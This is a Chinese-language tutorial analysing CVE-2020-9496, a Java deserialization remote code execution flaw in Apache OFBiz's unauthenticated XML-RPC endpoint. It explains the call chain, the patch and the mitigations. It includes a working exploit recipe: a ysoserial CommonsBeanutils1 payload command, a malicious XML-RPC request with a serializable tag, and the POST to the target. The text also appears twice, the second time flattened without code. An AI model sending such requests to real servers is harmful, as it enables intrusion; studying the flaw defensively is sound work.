CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析
字数 1859 2025-08-20 18:17:53

Apache Ofbiz XMLRPC RCE漏洞分析(CVE-2020-9496)教学文档

1. 漏洞概述

CVE-2020-9496是Apache Ofbiz框架中的一个远程代码执行漏洞,存在于XML-RPC接口中。该漏洞允许攻击者通过构造恶意的XML-RPC请求,触发Java反序列化漏洞,最终实现远程代码执行。

2. 漏洞背景

2.1 Apache Ofbiz简介

Apache Ofbiz是一个开源的企业资源规划(ERP)系统,提供了一套完整的业务应用程序套件。

2.2 XML-RPC简介

XML-RPC是一种远程过程调用协议,使用XML编码请求并通过HTTP传输。

3. 漏洞分析

3.1 漏洞位置

漏洞存在于/webtools/control/xmlrpc接口,该接口默认无需认证即可访问。

3.2 请求处理流程

  1. 请求首先由ControlServlet处理
  2. 路由到RequestHandler#doRequest()
  3. 最终由XmlRpcEventHandler处理XML-RPC请求

3.3 关键调用链

RequestHandler.runEvent()
→ XmlRpcEventHandler.invoke()
→ XmlRpcEventHandler.execute()
→ XmlRpcEventHandler.getRequest()
→ XML解析器处理XML数据
→ 触发反序列化

4. 漏洞原理

4.1 XML-RPC数据处理

Ofbiz使用xmlrpc-common-3.1.3.jar处理XML-RPC请求,其中SerializableParser类存在反序列化操作。

4.2 反序列化触发点

当XML数据中包含<serializable>标签时,会使用SerializableParser进行解析,其中的数据会被反序列化。

4.3 必要条件

  1. 必须使用<serializable>标签
  2. 标签必须带有xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"属性
  3. 序列化数据必须经过Base64编码

5. 漏洞利用

5.1 利用条件

  1. 目标系统包含Commons-Beanutils库
  2. 可以访问/webtools/control/xmlrpc接口

5.2 利用步骤

  1. 生成CommonsBeanutils1的payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "calc" | base64 | tr -d "\n"
  1. 构造恶意XML请求:
<?xml version="1.0"?>
<methodCall>
  <methodName>ping</methodName>
  <params>
    <param>
      <value>
        <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">
          [Base64编码的序列化数据]
        </serializable>
      </value>
    </param>
  </params>
</methodCall>
  1. 发送POST请求到目标:
POST /webtools/control/xmlrpc HTTP/1.1
Host: [target]
Content-Type: application/xml
Content-Length: [length]

[上述XML数据]

6. 漏洞修复

6.1 官方修复

补丁链接:https://github.com/apache/ofbiz-framework/commit/4bdfb54ffb6e05215dd826ca2902c3e31420287a

6.2 修复方式

framework/webtools/webapp/webtools/WEB-INF/controller.xml中为xmlrpc请求添加了认证要求:

<request-map uri="xmlrpc" track-serverhit="false" track-visit="false">
  <security https="false" auth="true"/>
  <event type="xmlrpc"/>
  <response name="error" type="none"/>
  <response name="success" type="none"/>
</request-map>

6.3 临时缓解措施

  1. 禁用/webtools/control/xmlrpc接口
  2. 升级Commons-Beanutils等存在漏洞的库

7. 调试分析

7.1 关键调试点

  1. org.apache.ofbiz.webapp.event.XmlRpcEventHandler#getRequest() - XML解析入口
  2. org.apache.xmlrpc.parser.SerializableParser#getResult() - 反序列化触发点

7.2 调试技巧

  1. SerializableParser.getResult()设置断点
  2. 观察XML解析过程中typeParser的赋值过程

8. 相关技术点

8.1 XML-RPC数据类型

  • <base64>: Base64编码的二进制数据
  • <struct>: 键值对结构
  • <array>: 数组
  • <serializable>: Java序列化对象

8.2 Ofbiz服务调用

Ofbiz有3000多个注册的service,其中export属性为true的service可通过XML-RPC调用。

9. 参考链接

  1. 漏洞公告:https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz
  2. 官方补丁:https://github.com/apache/ofbiz-framework/commit/4bdfb54ffb6e05215dd826ca2902c3e31420287a
  3. XML-RPC规范:http://xmlrpc.com/spec.md
  4. XML-RPC数据类型:https://ws.apache.org/xmlrpc/types.html
Apache Ofbiz XMLRPC RCE漏洞分析(CVE-2020-9496)教学文档 1. 漏洞概述 CVE-2020-9496是Apache Ofbiz框架中的一个远程代码执行漏洞,存在于XML-RPC接口中。该漏洞允许攻击者通过构造恶意的XML-RPC请求,触发Java反序列化漏洞,最终实现远程代码执行。 2. 漏洞背景 2.1 Apache Ofbiz简介 Apache Ofbiz是一个开源的企业资源规划(ERP)系统,提供了一套完整的业务应用程序套件。 2.2 XML-RPC简介 XML-RPC是一种远程过程调用协议,使用XML编码请求并通过HTTP传输。 3. 漏洞分析 3.1 漏洞位置 漏洞存在于 /webtools/control/xmlrpc 接口,该接口默认无需认证即可访问。 3.2 请求处理流程 请求首先由 ControlServlet 处理 路由到 RequestHandler#doRequest() 最终由 XmlRpcEventHandler 处理XML-RPC请求 3.3 关键调用链 4. 漏洞原理 4.1 XML-RPC数据处理 Ofbiz使用 xmlrpc-common-3.1.3.jar 处理XML-RPC请求,其中 SerializableParser 类存在反序列化操作。 4.2 反序列化触发点 当XML数据中包含 <serializable> 标签时,会使用 SerializableParser 进行解析,其中的数据会被反序列化。 4.3 必要条件 必须使用 <serializable> 标签 标签必须带有 xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions" 属性 序列化数据必须经过Base64编码 5. 漏洞利用 5.1 利用条件 目标系统包含Commons-Beanutils库 可以访问 /webtools/control/xmlrpc 接口 5.2 利用步骤 生成CommonsBeanutils1的payload: 构造恶意XML请求: 发送POST请求到目标: 6. 漏洞修复 6.1 官方修复 补丁链接:https://github.com/apache/ofbiz-framework/commit/4bdfb54ffb6e05215dd826ca2902c3e31420287a 6.2 修复方式 在 framework/webtools/webapp/webtools/WEB-INF/controller.xml 中为xmlrpc请求添加了认证要求: 6.3 临时缓解措施 禁用 /webtools/control/xmlrpc 接口 升级Commons-Beanutils等存在漏洞的库 7. 调试分析 7.1 关键调试点 org.apache.ofbiz.webapp.event.XmlRpcEventHandler#getRequest() - XML解析入口 org.apache.xmlrpc.parser.SerializableParser#getResult() - 反序列化触发点 7.2 调试技巧 在 SerializableParser.getResult() 设置断点 观察XML解析过程中 typeParser 的赋值过程 8. 相关技术点 8.1 XML-RPC数据类型 <base64> : Base64编码的二进制数据 <struct> : 键值对结构 <array> : 数组 <serializable> : Java序列化对象 8.2 Ofbiz服务调用 Ofbiz有3000多个注册的service,其中 export 属性为 true 的service可通过XML-RPC调用。 9. 参考链接 漏洞公告:https://securitylab.github.com/advisories/GHSL-2020-069-apache_ ofbiz 官方补丁:https://github.com/apache/ofbiz-framework/commit/4bdfb54ffb6e05215dd826ca2902c3e31420287a XML-RPC规范:http://xmlrpc.com/spec.md XML-RPC数据类型:https://ws.apache.org/xmlrpc/types.html